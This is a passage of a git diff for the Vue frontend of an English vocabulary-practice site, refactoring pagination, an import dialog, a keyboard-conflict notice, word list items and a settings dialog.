<Pagination
|
||||
currentPage={pageNo}
|
||||
onUpdate:current-page={handlePageNo}
|
||||
pageSize={pageSize}
|
||||
onUpdate:page-size={(e) => pageSize = e}
|
||||
pageSizes={[20, 50, 100, 200]}
|
||||
layout="prev, pager, next"
|
||||
total={list.value.length}/>
|
||||
}
|
||||
{
|
||||
loading2 ?
|
||||
<div class="h-full w-full center text-4xl">
|
||||
<IconEosIconsLoading color="gray"/>
|
||||
</div>
|
||||
}
|
||||
</>
|
||||
) : <Empty/>
|
||||
}
|
||||
: params.list.length ? (
|
||||
<>
|
||||
<div class="flex-1 overflow-auto"
|
||||
ref={e => listRef = e}>
|
||||
{params.list.map((item, index) => {
|
||||
return (
|
||||
<div class="list-item-wrapper"
|
||||
key={item.word}
|
||||
>
|
||||
{s.default({
|
||||
checkbox: d,
|
||||
item,
|
||||
index: (params.pageSize * (params.pageNo - 1)) + index + 1
|
||||
})}
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
{
|
||||
props.showPagination && <div class="flex justify-end">
|
||||
<Pagination
|
||||
currentPage={params.pageNo}
|
||||
onUpdate:current-page={handlePageNo}
|
||||
pageSize={params.pageSize}
|
||||
onUpdate:page-size={(e) => params.pageSize = e}
|
||||
pageSizes={[20, 50, 100, 200]}
|
||||
layout="total,sizes"
|
||||
total={params.total}/>
|
||||
</div>
|
||||
}
|
||||
</>
|
||||
) : <Empty/>
|
||||
}
|
||||
|
||||
<Dialog modelValue={showImportDialog}
|
||||
onUpdate:modelValue={closeImportDialog}
|
||||
title="导入教程"
|
||||
>
|
||||
<div className="w-100 p-4 pt-0">
|
||||
<div>请按照模板的格式来填写数据</div>
|
||||
<div class="color-red">单词项为必填,其他项可不填</div>
|
||||
<div>翻译:一行一个翻译,前面词性,后面内容(如n.取消);多个翻译请换行</div>
|
||||
<div>例句:一行原文,一行译文;多个请换<span class="color-red">两</span>行</div>
|
||||
<div>短语:一行原文,一行译文;多个请换<span class="color-red">两</span>行</div>
|
||||
<div>同义词、同根词、词源:请前往官方字典,然后编辑其中某个单词,参考其格式</div>
|
||||
<div class="mt-6">
|
||||
模板下载地址:<a href={`https://${Host}/libs/单词导入模板.xlsx`}>单词导入模板</a>
|
||||
</div>
|
||||
<div class="mt-4">
|
||||
<BaseButton
|
||||
onClick={() => {
|
||||
let d: HTMLDivElement = document.querySelector('#upload-trigger')
|
||||
d.click()
|
||||
}}
|
||||
loading={props.importLoading}>导入</BaseButton>
|
||||
<input
|
||||
id="upload-trigger"
|
||||
type="file"
|
||||
accept=".csv, application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, application/vnd.ms-excel"
|
||||
onChange={e => emit('importData', e)}
|
||||
class="w-0 h-0 opacity-0"/>
|
||||
</div>
|
||||
<Dialog modelValue={showImportDialog}
|
||||
onUpdate:modelValue={closeImportDialog}
|
||||
title="导入教程"
|
||||
>
|
||||
<div className="w-100 p-4 pt-0">
|
||||
<div>请按照模板的格式来填写数据</div>
|
||||
<div class="color-red">单词项为必填,其他项可不填</div>
|
||||
<div>翻译:一行一个翻译,前面词性,后面内容(如n.取消);多个翻译请换行</div>
|
||||
<div>例句:一行原文,一行译文;多个请换<span class="color-red">两</span>行</div>
|
||||
<div>短语:一行原文,一行译文;多个请换<span class="color-red">两</span>行</div>
|
||||
<div>同义词、同根词、词源:请前往官方词典,然后编辑其中某个单词,参考其格式</div>
|
||||
<div class="mt-6">
|
||||
模板下载地址:<a href={`https://${Host}/libs/单词导入模板.xlsx`}>单词导入模板</a>
|
||||
</div>
|
||||
<div class="mt-4">
|
||||
<BaseButton
|
||||
onClick={() => {
|
||||
let d: HTMLDivElement = document.querySelector('#upload-trigger')
|
||||
d.click()
|
||||
}}
|
||||
loading={props.importLoading}>导入</BaseButton>
|
||||
<input
|
||||
id="upload-trigger"
|
||||
type="file"
|
||||
accept=".csv, application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, application/vnd.ms-excel"
|
||||
onChange={e => emit('import', e)}
|
||||
class="w-0 h-0 opacity-0"/>
|
||||
</div>
|
||||
</div>
|
||||
</Dialog>
|
||||
</div>
|
||||
</Dialog>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
)
|
||||
}
|
||||
)
|
||||
</script>
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
<style scoped lang="scss"></style>
|
||||
|
||||
@@ -26,7 +26,6 @@ let showQQDialog = $ref(false)
|
||||
|
||||
<template>
|
||||
<div class="center" :class="type === 'vertical' ? 'flex-col gap-1' : 'gap-4'">
|
||||
<ShareIcon v-if="share"/>
|
||||
|
||||
<Github v-if="github"/>
|
||||
|
||||
@@ -50,6 +49,8 @@ let showQQDialog = $ref(false)
|
||||
<IconMaterialSymbolsMail class="color-blue"/>
|
||||
</BaseIcon>
|
||||
</a>
|
||||
|
||||
<ShareIcon v-if="share"/>
|
||||
</div>
|
||||
|
||||
<Dialog v-model="showXhsDialog" title="小红书">
|
||||
@@ -76,7 +77,4 @@ let showQQDialog = $ref(false)
|
||||
|
||||
</template>
|
||||
<style scoped lang="scss">
|
||||
.stat-card {
|
||||
@apply text-center bg-gray-900/30 py-4 rounded-2xl;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -250,5 +250,7 @@ const sentence = $computed(() => {
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
.stat-card {
|
||||
@apply text-center bg-gray-900/30 py-4 rounded-2xl;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -4,6 +4,7 @@ import { defineAsyncComponent, onMounted, watch } from "vue";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { jump2Feedback } from "@/utils";
|
||||
import { useDisableEventListener } from "@/hooks/event.ts";
|
||||
import ConflictNoticeText from "@/components/ConflictNoticeText.vue";
|
||||
|
||||
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
|
||||
|
||||
@@ -27,29 +28,14 @@ useDisableEventListener(() => show)
|
||||
v-model="show"
|
||||
title="重要提示"
|
||||
footer
|
||||
padding
|
||||
:closeOnClickBg="false"
|
||||
cancel-button-text="不再提醒"
|
||||
confirm-button-text="关闭"
|
||||
@cancel="settingStore.conflictNotice = false"
|
||||
>
|
||||
<div class="card w-150 center flex-col color-main py-0 mb-0">
|
||||
<div class="text">
|
||||
如果您安装了 <span class="font-bold text-red">“调速” “Vim”</span> 等插件/脚本,它们会拦截键盘按下事件,<span
|
||||
class="font-bold text-red">导致在本网站练习时按 'A'、 'S' 、'D' 等键无反应</span>,您可以根据以下步骤解决冲突:
|
||||
</div>
|
||||
<ul class="m-0">
|
||||
<li>用浏览器无痕模式打开本网站,确认能否正常输入?</li>
|
||||
<li>无痕模式下无法输入,请给<span class="color-link mx-1 cp" @click="jump2Feedback">点此</span>反馈</li>
|
||||
<li>无痕模式下可以输入,则是插件/脚本导致的冲突</li>
|
||||
<li>临时禁用对应插件/脚本,或在对应插件/脚本的设置里面排除本网站</li>
|
||||
<li>可安装此
|
||||
<a href="https://chromewebstore.google.com/detail/one-click-extensions-mana/pbgjpgbpljobkekbhnnmlikbbfhbhmem"
|
||||
target="_blank">插件(Chrome版本,需翻墙)</a>,
|
||||
<a href="https://microsoftedge.microsoft.com/addons/detail/%E5%BF%AB%E6%8D%B7%E6%89%A9%E5%B1%95%E7%AE%A1%E7%90%86/jdodenbllldnoogfmbmmgpieafbnaogm"
|
||||
target="_blank">插件(Edge版本,无需翻墙)</a>,
|
||||
来快速激活、禁用其他插件
|
||||
</li>
|
||||
</ul>
|
||||
<div class="w-150 center flex-col color-main">
|
||||
<ConflictNoticeText/>
|
||||
</div>
|
||||
</Dialog>
|
||||
</template>
|
||||
|
||||
31
src/components/ConflictNoticeText.vue
Normal file
31
src/components/ConflictNoticeText.vue
Normal file
@@ -0,0 +1,31 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import { jump2Feedback } from "@/utils";
|
||||
import WeChat from "@/components/ChannelIcons/WeChat.vue";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="text">
|
||||
如果您安装了 <span class="font-bold text-red">“调速” “Vim” “音视频增强”</span> 等插件/脚本,它们会拦截键盘按下事件,<span
|
||||
class="font-bold text-red">导致在本网站练习时按 'A'、 'S' 、'D' 等键无反应</span>,您可以根据以下步骤解决冲突:
|
||||
</div>
|
||||
<ul class="m-0">
|
||||
<li>用浏览器无痕模式打开本网站,确认能否正常输入?</li>
|
||||
<li>
|
||||
无痕模式下无法输入,<span class="color-link mx-1 cp" @click="jump2Feedback">点此</span>反馈,或者加微信群反馈:<WeChat/>
|
||||
</li>
|
||||
<li>无痕模式下可以输入,则是插件/脚本导致的冲突</li>
|
||||
<li>临时禁用对应插件/脚本,或在对应插件/脚本的设置里面排除本网站</li>
|
||||
<li>可安装此
|
||||
<a href="https://chromewebstore.google.com/detail/one-click-extensions-mana/pbgjpgbpljobkekbhnnmlikbbfhbhmem"
|
||||
target="_blank">插件(Chrome版本,需翻墙)</a>,
|
||||
<a href="https://microsoftedge.microsoft.com/addons/detail/%E5%BF%AB%E6%8D%B7%E6%89%A9%E5%B1%95%E7%AE%A1%E7%90%86/jdodenbllldnoogfmbmmgpieafbnaogm"
|
||||
target="_blank">插件(Edge版本,无需翻墙)</a>,
|
||||
来快速激活、禁用其他插件
|
||||
</li>
|
||||
</ul>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
@@ -1,349 +0,0 @@
|
||||
<script setup lang="ts">
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import {getAudioFileUrl, usePlayAudio} from "@/hooks/sound.ts";
|
||||
import {ShortcutKey} from "@/types/types.ts";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import {useBaseStore} from "@/stores/base.ts";
|
||||
import {SoundFileOptions} from "@/config/env.ts";
|
||||
import {Option, Select} from "@/components/base/select";
|
||||
import Switch from "@/components/base/Switch.vue";
|
||||
import Slider from "@/components/base/Slider.vue";
|
||||
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
|
||||
import Radio from "@/components/base/radio/Radio.vue";
|
||||
import InputNumber from "@/components/base/InputNumber.vue";
|
||||
import Textarea from "@/components/base/Textarea.vue";
|
||||
import SettingItem from "@/pages/setting/SettingItem.vue";
|
||||
import {defineAsyncComponent} from "vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
|
||||
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
|
||||
|
||||
const props = defineProps<{
|
||||
type: 'article' | 'word'
|
||||
}>()
|
||||
|
||||
const tabIndex = $ref(props.type === 'word' ? 1 : 2)
|
||||
const settingStore = useSettingStore()
|
||||
const store = useBaseStore()
|
||||
let show = $ref(false)
|
||||
|
||||
const simpleWords = $computed({
|
||||
get: () => store.simpleWords.join(','),
|
||||
set: v => {
|
||||
try {
|
||||
store.simpleWords = v.split(',');
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<Dialog v-model="show" title="设置">
|
||||
<div class="setting text-lg w-200 h-[60vh] text-md flex flex-col">
|
||||
<div class="flex flex-1 overflow-hidden">
|
||||
<div class="left">
|
||||
<div class="tabs">
|
||||
<div class="tab" :class="tabIndex === 1 && 'active'" @click="tabIndex = 1" v-if="type === 'word'">
|
||||
<IconFluentTextUnderlineDouble20Regular width="20"/>
|
||||
<span>单词</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 2 && 'active'" @click="tabIndex = 2" v-if="type === 'article'">
|
||||
<IconFluentBookLetter20Regular width="20"/>
|
||||
<span>文章</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 0 && 'active'" @click="tabIndex = 0">
|
||||
<IconFluentSettings20Regular width="20"/>
|
||||
<span>通用</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="content">
|
||||
<!-- 通用练习设置-->
|
||||
<!-- 通用练习设置-->
|
||||
<!-- 通用练习设置-->
|
||||
<div v-if="tabIndex === 0">
|
||||
<SettingItem title="忽略大小写"
|
||||
desc="开启后,输入时不区分大小写,如输入“hello”和“Hello”都会被认为是正确的"
|
||||
>
|
||||
<Switch v-model="settingStore.ignoreCase"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="允许默写模式下显示提示"
|
||||
:desc="`开启后,可以通过将鼠标移动到单词上或者按快捷键 ${settingStore.shortcutKeyMap[ShortcutKey.ShowWord]} 显示正确答案`"
|
||||
>
|
||||
<Switch v-model="settingStore.allowWordTip"/>
|
||||
</SettingItem>
|
||||
|
||||
<div class="line"></div>
|
||||
<SettingItem title="简单词过滤"
|
||||
desc="开启后,练习的单词中不会包含简单词;文章统计的总词数中不会包含简单词"
|
||||
>
|
||||
<Switch v-model="settingStore.ignoreSimpleWord"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="简单词列表"
|
||||
class="items-start!"
|
||||
v-if="settingStore.ignoreSimpleWord"
|
||||
>
|
||||
<Textarea
|
||||
placeholder="多个单词用英文逗号隔号"
|
||||
v-model="simpleWords" :autosize="{minRows: 6, maxRows: 10}"/>
|
||||
</SettingItem>
|
||||
|
||||
<!-- 音效-->
|
||||
<!-- 音效-->
|
||||
<!-- 音效-->
|
||||
<div class="line"></div>
|
||||
<SettingItem main-title="音效"/>
|
||||
<SettingItem title="单词/句子发音口音"
|
||||
desc="仅单词生效,文章固定美音"
|
||||
>
|
||||
<Select v-model="settingStore.soundType"
|
||||
placeholder="请选择"
|
||||
class="w-50!"
|
||||
>
|
||||
<Option label="美音" value="us"/>
|
||||
<Option label="英音" value="uk"/>
|
||||
</Select>
|
||||
</SettingItem>
|
||||
|
||||
<div class="line"></div>
|
||||
<SettingItem title="按键音">
|
||||
<Switch v-model="settingStore.keyboardSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="按键音效">
|
||||
<Select v-model="settingStore.keyboardSoundFile"
|
||||
placeholder="请选择"
|
||||
class="w-50!"
|
||||
>
|
||||
<Option
|
||||
v-for="item in SoundFileOptions"
|
||||
:key="item.value"
|
||||
:label="item.label"
|
||||
:value="item.value"
|
||||
>
|
||||
<div class="flex justify-between items-center w-full">
|
||||
<span>{{ item.label }}</span>
|
||||
<VolumeIcon
|
||||
:time="100"
|
||||
@click="usePlayAudio(getAudioFileUrl(item.value)[0])"/>
|
||||
</div>
|
||||
</Option>
|
||||
</Select>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.keyboardSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<!-- 单词练习设置-->
|
||||
<!-- 单词练习设置-->
|
||||
<!-- 单词练习设置-->
|
||||
<div v-if="tabIndex === 1">
|
||||
<!-- <SettingItem title="练习模式">-->
|
||||
<!-- <RadioGroup v-model="settingStore.wordPracticeMode" class="flex-col gap-0!">-->
|
||||
<!-- <Radio :value="WordPracticeMode.System" label="智能模式:自动规划学习、复习、听写、默写"/>-->
|
||||
<!-- <Radio :value="WordPracticeMode.Free" label="自由模式:系统不强制复习与默写"/>-->
|
||||
<!-- </RadioGroup>-->
|
||||
<!-- </SettingItem>-->
|
||||
|
||||
<SettingItem title="显示上一个/下一个单词"
|
||||
desc="开启后,练习中会在上方显示上一个/下一个单词"
|
||||
>
|
||||
<Switch v-model="settingStore.showNearWord"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="不默认显示练习设置弹框"
|
||||
desc="在词典详情页面,点击学习按钮后,是否显示练习设置弹框"
|
||||
>
|
||||
<Switch v-model="settingStore.disableShowPracticeSettingDialog"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="输入错误时,清空已输入内容"
|
||||
>
|
||||
<Switch v-model="settingStore.inputWrongClear"/>
|
||||
</SettingItem>
|
||||
|
||||
|
||||
<SettingItem title="单词循环设置" class="gap-0!">
|
||||
<RadioGroup v-model="settingStore.repeatCount">
|
||||
<Radio :value="1" size="default">1</Radio>
|
||||
<Radio :value="2" size="default">2</Radio>
|
||||
<Radio :value="3" size="default">3</Radio>
|
||||
<Radio :value="5" size="default">5</Radio>
|
||||
<Radio :value="100" size="default">自定义</Radio>
|
||||
</RadioGroup>
|
||||
<div class="ml-2 center gap-space" v-if="settingStore.repeatCount === 100">
|
||||
<span>循环次数</span>
|
||||
<InputNumber v-model="settingStore.repeatCustomCount"
|
||||
:min="6"
|
||||
:max="15"
|
||||
type="number"
|
||||
/>
|
||||
</div>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="复习比"
|
||||
desc="复习词与新词的比例,修改后下次学习生效"
|
||||
>
|
||||
<InputNumber :min="0" :max="10" v-model="settingStore.wordReviewRatio"/>
|
||||
</SettingItem>
|
||||
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<div class="line"></div>
|
||||
<SettingItem mainTitle="音效"/>
|
||||
<SettingItem title="单词自动发音">
|
||||
<Switch v-model="settingStore.wordSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.wordSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="倍速">
|
||||
<Slider v-model="settingStore.wordSoundSpeed" :step="0.1" :min="0.5" :max="3" showText showValue/>
|
||||
</SettingItem>
|
||||
<div class="line"></div>
|
||||
<SettingItem title="效果音(输入错误、完成时的音效)">
|
||||
<Switch v-model="settingStore.effectSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.effectSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
|
||||
<!-- 自动切换-->
|
||||
<!-- 自动切换-->
|
||||
<!-- 自动切换-->
|
||||
<div class="line"></div>
|
||||
<SettingItem mainTitle="自动切换"/>
|
||||
<SettingItem title="自动切换下一个单词"
|
||||
desc="仅在 **跟写** 时生效,听写、自测、默写均不会自动切换,需要手动按 **空格键** 切换"
|
||||
>
|
||||
<Switch v-model="settingStore.autoNextWord"/>
|
||||
</SettingItem>
|
||||
|
||||
<SettingItem title="自动切换下一个单词时间"
|
||||
desc="正确输入单词后,自动跳转下一个单词的时间"
|
||||
>
|
||||
<InputNumber v-model="settingStore.waitTimeForChangeWord"
|
||||
:disabled="!settingStore.autoNextWord"
|
||||
:min="0"
|
||||
:max="10000"
|
||||
:step="100"
|
||||
type="number"
|
||||
/>
|
||||
<span class="ml-4">毫秒</span>
|
||||
</SettingItem>
|
||||
|
||||
|
||||
<!-- 字体设置-->
|
||||
<!-- 字体设置-->
|
||||
<!-- 字体设置-->
|
||||
<div class="line"></div>
|
||||
<SettingItem mainTitle="字体设置"/>
|
||||
<SettingItem title="外语字体">
|
||||
<Slider
|
||||
:min="10"
|
||||
:max="100"
|
||||
v-model="settingStore.fontSize.wordForeignFontSize" showText showValue unit="px"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="中文字体">
|
||||
<Slider
|
||||
:min="10"
|
||||
:max="100"
|
||||
v-model="settingStore.fontSize.wordTranslateFontSize" showText showValue unit="px"/>
|
||||
</SettingItem>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- 文章练习设置-->
|
||||
<!-- 文章练习设置-->
|
||||
<!-- 文章练习设置-->
|
||||
<div v-if="tabIndex === 2">
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<!-- 发音-->
|
||||
<SettingItem mainTitle="音效"/>
|
||||
<SettingItem title="自动播放句子">
|
||||
<Switch v-model="settingStore.articleSound"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="自动播放下一篇">
|
||||
<Switch v-model="settingStore.articleAutoPlayNext"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="音量">
|
||||
<Slider v-model="settingStore.articleSoundVolume" showText showValue unit="%"/>
|
||||
</SettingItem>
|
||||
<SettingItem title="倍速">
|
||||
<Slider v-model="settingStore.articleSoundSpeed" :step="0.1" :min="0.5" :max="3" showText showValue/>
|
||||
</SettingItem>
|
||||
|
||||
<div class="line"></div>
|
||||
<SettingItem title="输入时忽略符号/数字/人名">
|
||||
<Switch v-model="settingStore.ignoreSymbol"/>
|
||||
</SettingItem>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Dialog>
|
||||
<BaseIcon title="设置" @click="show = true;tabIndex = props.type === 'word' ? 1 : 2">
|
||||
<IconFluentSettings20Regular/>
|
||||
</BaseIcon>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
.setting {
|
||||
|
||||
.left {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
border-right: 1px solid gainsboro;
|
||||
|
||||
.tabs {
|
||||
padding: 1rem;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: .6rem;
|
||||
//color: #0C8CE9;
|
||||
|
||||
.tab {
|
||||
@apply cursor-pointer flex items-center relative;
|
||||
padding: .6rem .9rem;
|
||||
border-radius: .5rem;
|
||||
width: 8rem;
|
||||
gap: .6rem;
|
||||
transition: all .5s;
|
||||
|
||||
&:hover {
|
||||
background: var(--btn-primary);
|
||||
color: white;
|
||||
}
|
||||
|
||||
&.active {
|
||||
background: var(--btn-primary);
|
||||
color: white;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
flex: 1;
|
||||
height: 100%;
|
||||
overflow: auto;
|
||||
padding: 0 1.6rem;
|
||||
|
||||
.line {
|
||||
border-bottom: 1px solid #c4c3c3;
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -1,44 +1,60 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import {Word} from "@/types/types.ts";
|
||||
import { Word } from "@/types/types.ts";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import {usePlayWordAudio} from "@/hooks/sound.ts";
|
||||
import { usePlayWordAudio } from "@/hooks/sound.ts";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import { useWordOptions } from "@/hooks/dict.ts";
|
||||
|
||||
withDefaults(defineProps<{
|
||||
item: Word,
|
||||
showTranslate?: boolean
|
||||
showWord?: boolean
|
||||
showTransPop?: boolean
|
||||
hiddenOptionIcon?: boolean
|
||||
showOption?: boolean
|
||||
showCollectIcon?: boolean
|
||||
showMarkIcon?: boolean
|
||||
index?: number
|
||||
active?: boolean
|
||||
}>(), {
|
||||
showTranslate: true,
|
||||
showWord: true,
|
||||
showTransPop: true,
|
||||
hiddenOptionIcon: false,
|
||||
showOption: true,
|
||||
showCollectIcon: true,
|
||||
showMarkIcon: true,
|
||||
active: false,
|
||||
})
|
||||
|
||||
const playWordAudio = usePlayWordAudio()
|
||||
|
||||
const {
|
||||
isWordCollect,
|
||||
toggleWordCollect,
|
||||
isWordSimple,
|
||||
toggleWordSimple
|
||||
} = useWordOptions()
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="common-list-item"
|
||||
:class="{hiddenOptionIcon}"
|
||||
:class="{active}"
|
||||
>
|
||||
<div class="left">
|
||||
<slot name="prefix" :item="item"></slot>
|
||||
<div class="title-wrapper">
|
||||
<div class="item-title">
|
||||
<span class="text-sm translate-y-0.5 text-gray-500" v-if="index != undefined">{{ index }}.</span>
|
||||
<span class="word" :class="!showWord && 'word-shadow'">{{ item.word }}</span>
|
||||
<span class="phonetic">{{ item.phonetic0 }}</span>
|
||||
<span class="phonetic text-gray" :class="!showWord && 'word-shadow'">{{ item.phonetic0 }}</span>
|
||||
<VolumeIcon class="volume" @click="playWordAudio(item.word)"></VolumeIcon>
|
||||
</div>
|
||||
<div class="item-sub-title flex flex-col gap-2" v-if="item.trans.length && showTranslate">
|
||||
<div v-for="v in item.trans">
|
||||
<Tooltip
|
||||
v-if="v.cn.length > 30 && showTransPop"
|
||||
:title="v.pos + ' ' + v.cn"
|
||||
v-if="v.cn.length > 30 && showTransPop"
|
||||
:title="v.pos + ' ' + v.cn"
|
||||
>
|
||||
<span>{{ v.pos + ' ' + v.cn.slice(0, 30) + '...' }}</span>
|
||||
</Tooltip>
|
||||
@@ -47,13 +63,29 @@ const playWordAudio = usePlayWordAudio()
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="right">
|
||||
<div class="right" v-if="showOption">
|
||||
<slot name="suffix" :item="item"></slot>
|
||||
<BaseIcon
|
||||
v-if="showCollectIcon"
|
||||
:class="!isWordCollect(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordCollect(item)"
|
||||
:title="!isWordCollect(item) ? '收藏' : '取消收藏'">
|
||||
<IconFluentStar16Regular v-if="!isWordCollect(item)"/>
|
||||
<IconFluentStar16Filled v-else/>
|
||||
</BaseIcon>
|
||||
|
||||
<BaseIcon
|
||||
v-if="showMarkIcon"
|
||||
:class="!isWordSimple(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordSimple(item)"
|
||||
:title="!isWordSimple(item) ? '标记为已掌握' : '取消标记已掌握'">
|
||||
<IconFluentCheckmarkCircle16Regular v-if="!isWordSimple(item)"/>
|
||||
<IconFluentCheckmarkCircle16Filled v-else/>
|
||||
</BaseIcon>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
|
||||
28
src/components/base/Collapse.vue
Normal file
28
src/components/base/Collapse.vue
Normal file
@@ -0,0 +1,28 @@
|
||||
<script setup lang="ts">
|
||||
const props = defineProps<{
|
||||
q: string,
|
||||
a?: string | string[],
|
||||
}>()
|
||||
let show = $ref(false)
|
||||
let isArray = $computed(() => typeof props.a !== 'string')
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="qa-item my-6">
|
||||
<header class="flex justify-between items-center cp font-bold text-lg" @click="show = !show">
|
||||
<span>{{ q }}</span>
|
||||
<IconFluentChevronLeft20Filled class="anim" :class="show?'transform-rotate-270':'transform-rotate-180'"/>
|
||||
</header>
|
||||
<div class="content mt-4 text-base" v-if="show">
|
||||
<template v-if="isArray">
|
||||
<p v-for="(v,i) in a">{{a.length>1?`${i+1}. `:''}}{{v}}</p>
|
||||
</template>
|
||||
<span v-else>{{a}}</span>
|
||||
<slot></slot>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
</style>
|
||||
@@ -1,5 +1,6 @@
|
||||
<script setup lang="ts">
|
||||
import {computed, onMounted, onUnmounted, ref} from 'vue';
|
||||
import { computed, onMounted, onUnmounted, ref } from 'vue';
|
||||
import BaseInput from "@/components/base/BaseInput.vue";
|
||||
|
||||
interface IProps {
|
||||
currentPage?: number;
|
||||
@@ -8,7 +9,6 @@ interface IProps {
|
||||
layout?: string;
|
||||
total: number;
|
||||
hideOnSinglePage?: boolean;
|
||||
// background property removed as per requirements
|
||||
}
|
||||
|
||||
const props = withDefaults(defineProps<IProps>(), {
|
||||
@@ -37,59 +37,18 @@ const pageCount = computed(() => {
|
||||
// 可用于显示的页码数量,会根据容器宽度动态计算
|
||||
const availablePagerCount = ref(5); // 默认值
|
||||
|
||||
// 计算显示的页码
|
||||
const pagers = computed(() => {
|
||||
const pagerCount = availablePagerCount.value; // 动态计算的页码数量
|
||||
const halfPagerCount = Math.floor(pagerCount / 2);
|
||||
const currentPage = internalCurrentPage.value;
|
||||
const pageCountValue = pageCount.value;
|
||||
|
||||
let showPrevMore = false;
|
||||
let showNextMore = false;
|
||||
|
||||
if (pageCountValue > pagerCount) {
|
||||
if (currentPage > pagerCount - halfPagerCount) {
|
||||
showPrevMore = true;
|
||||
}
|
||||
if (currentPage < pageCountValue - halfPagerCount) {
|
||||
showNextMore = true;
|
||||
}
|
||||
}
|
||||
|
||||
const array = [];
|
||||
if (showPrevMore && !showNextMore) {
|
||||
const startPage = pageCountValue - (pagerCount - 2);
|
||||
for (let i = startPage; i < pageCountValue; i++) {
|
||||
array.push(i);
|
||||
}
|
||||
} else if (!showPrevMore && showNextMore) {
|
||||
for (let i = 2; i < pagerCount; i++) {
|
||||
array.push(i);
|
||||
}
|
||||
} else if (showPrevMore && showNextMore) {
|
||||
const offset = Math.floor(pagerCount / 2) - 1;
|
||||
for (let i = currentPage - offset; i <= currentPage + offset; i++) {
|
||||
array.push(i);
|
||||
}
|
||||
} else {
|
||||
for (let i = 2; i < pageCountValue; i++) {
|
||||
array.push(i);
|
||||
}
|
||||
}
|
||||
|
||||
return array;
|
||||
});
|
||||
|
||||
// 是否显示分页
|
||||
const shouldShow = computed(() => {
|
||||
return props.hideOnSinglePage ? pageCount.value > 1 : true;
|
||||
});
|
||||
|
||||
// 处理页码变化
|
||||
function handleCurrentChange(val: number) {
|
||||
function jumpPage(val: number) {
|
||||
if (Number(val) > pageCount.value) val = pageCount.value;
|
||||
if (Number(val) <= 0) val = 1;
|
||||
internalCurrentPage.value = val;
|
||||
emit('update:currentPage', val);
|
||||
emit('current-change', val);
|
||||
emit('update:currentPage', Number(val));
|
||||
emit('current-change', Number(val));
|
||||
}
|
||||
|
||||
// 处理每页条数变化
|
||||
@@ -143,7 +102,7 @@ onUnmounted(() => {
|
||||
function prev() {
|
||||
const newPage = internalCurrentPage.value - 1;
|
||||
if (newPage >= 1) {
|
||||
handleCurrentChange(newPage);
|
||||
jumpPage(newPage);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -151,32 +110,10 @@ function prev() {
|
||||
function next() {
|
||||
